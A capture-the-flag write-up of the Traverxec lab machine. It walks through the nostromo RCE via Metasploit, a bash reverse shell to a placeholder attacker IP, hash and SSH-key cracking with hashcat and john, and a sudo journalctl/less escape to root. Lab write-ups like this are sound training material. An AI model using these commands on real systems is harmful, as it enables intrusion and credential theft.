Traverxec WriteUp

By: TigaxMT

User

This machine was pretty straightforward, I did the foothold in less of 5 minutes.

So let’s start, first enumerate some ports:

nmap -sVC 10.10.10.165 -oN traverxec -vv

We can see only 2 open ports: 22 (tcp/ssh) and 80 (tcp/http), but in the http we can see that the webserver is nostromo 1.96.

```
Nmap scan report for traverxec (10.10.10.165)
Host is up, received syn-ack (0.14s latency).
Scanned at 2019-12-07 14:10:33 WET for 490s
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVWo6eEhBKO19Owd6sVIAFVCJjQqSL4g16oI/DoFwUo+ubJyyIeTRagQNE91YdCrENXF2qBs2yFj2fqfRZy9iqGB09VOZt6i8oalpb
mFwkBDtCdHoIAZbaZFKAl+m1UBell2v0xUhAy37Wl9BjoUU3EQBVF5QJNQqvb/mSqHsi5TAJcMtCpWKA4So3pwZcTatSu5x/RYdKzzo9fWSS6hjO4/hdJ4BM6eyKQxa29vl/ea1PvcHPY5
EDTRX5RtraV9HAT7w2zIZH5W6i3BQvMGEckrrvVTZ6Ge3Gjx00ORLBdoVyqQeXQzIJ/vuDuJOH2G6E/AHDsw3n5yFNMKeCvNNL
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLpsS/IDFr0gxOgk9GkAT0G4vhnRdtvoL8iem2q8yoRCatUIib1nkp5ViHvLEgL6e3An
zUJGFLI3TFz+CInilq4=
|   256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (EdDSA)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGJ16OMR0bxc/4SAEl1yiyEUxC3i/dFH7ftnCU7+P+3s
80/tcp open  http    syn-ack nostromo 1.9.6
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Dec  7 14:18:43 2019 -- 1 IP address (1 host up) scanned in 490.61 seconds
```

Ok, first thing to do search it on exploitdb:

searchploit -t “nostromo”

Only show to exploits one for 1.9.3 so it’s not for us and other is a directory transversal RCE which has a module on metasploit.

First of all let’s start the metasploit db:

msfdb start

Now we run msfconsole:

msfconsole

Inside of metasploit search for nostromo:

search nostromo

Copy the module path and:

use module/path/here

Check what you need to run exploit:

options

Fill the options:

set rhosts 10.10.10.165

set lhost YOUR_IP

set payload cmd/unix/reverse_python

Exploit it:

exploit

You will see that a shell session was open in a certain index (should be 1 first time) and wait a bit until you see a new line (ENTER). Now you have a shell as www-data user. I will make a reverse shell using bash (copied in pentestmonkey):
Open another terminal tab and type:

nc -lvp 1234

Back to the metasploit shell:

bash -i >& /dev/tcp/YOUR_IP/1234 0>&1

The first local where I checked was /var and I found a folder called **nostromo** and inside of it we have a folder **conf** with **.htpasswd** file where we have a hash for david user. You can run LinEnum.sh to get that interesting file.

Take the hash save it on a file and crack it with hashcat (if you have problems with hashcat detecting the hash remove “david:1” and keep the rest)

hashcat -m 500 rockyou.txt hash_file.hash

Yeah, my first attempt was try login with david in ssh but nothing.

So I digg on the nostromo files and I see that david is the admin and the public folder (public_www) was inside the home folder (/home) and probably inside of /home/david. So if you try this:

cd /home/david/public_www/

inside of it you have a folder protected-file-area and inside of it a backup-ssh-files.tgz file. Now I tried to open a python http server to download the file to my host but not worked. So I search on the nostromo manual and we can access the home folder via browser just like this:

http://10.10.10.165/~david/

And we are inside now just add the: protected-file-area to the link. And put your credentials on the fields (the user david and the password that you have cracked). Finally click to download.

If we unpack the .tgz file we get the ssh keys, we need the id_rsa key, crack it and use it to log with david. John will do the job, but first we need to use a script to convert that ssh key to a hash that john undertsand. So let's use ssh2john.py:

ssh2john.py id_rsa id_rsa.hash

Now pass the file with the hash to john:

john –wordlist=rockyou.txt id_rsa.hash

Should crack it fast, now just login passing the id_rsa file and when ask for the password write the cracked password:

ssh -i id_rsa david@traverxec.htb

Note: I useed traverxec.htb as an IP/Domain because I had it to the /etc/hosts file.

You got user ! Now let’s get the root flag.

Root

First thing you see in your home is a folder called bin/ and inside of it will be a script that when it runs show us some logs using the journalctl service. You can see the command is run under sudo so it has root privileges when runs. So let’s see if GTFO Bins has something about journalctl and sudo … It has!

If you run the script:

./server-stats11.sh

You will see that less open up and you can read some stuff, now try to write this inside less (like showed in the GTFO Bins):

!/bin/sh

Root shell! Just cat the flag:

cat /root/root.txt

My Opinion

This box it’s pretty easy and straightforward but we always learn something new so it’s important to do all the machines. Here we apply a CVE and crack some hashes where I use hashcat and John, finally privesc simple but important to look because these small details are important when we are pentesting in the real world.

Social Media

Twitter: @iN127pkt

Github: TigaxMT

E-mail: tiagodeha@protonmail.com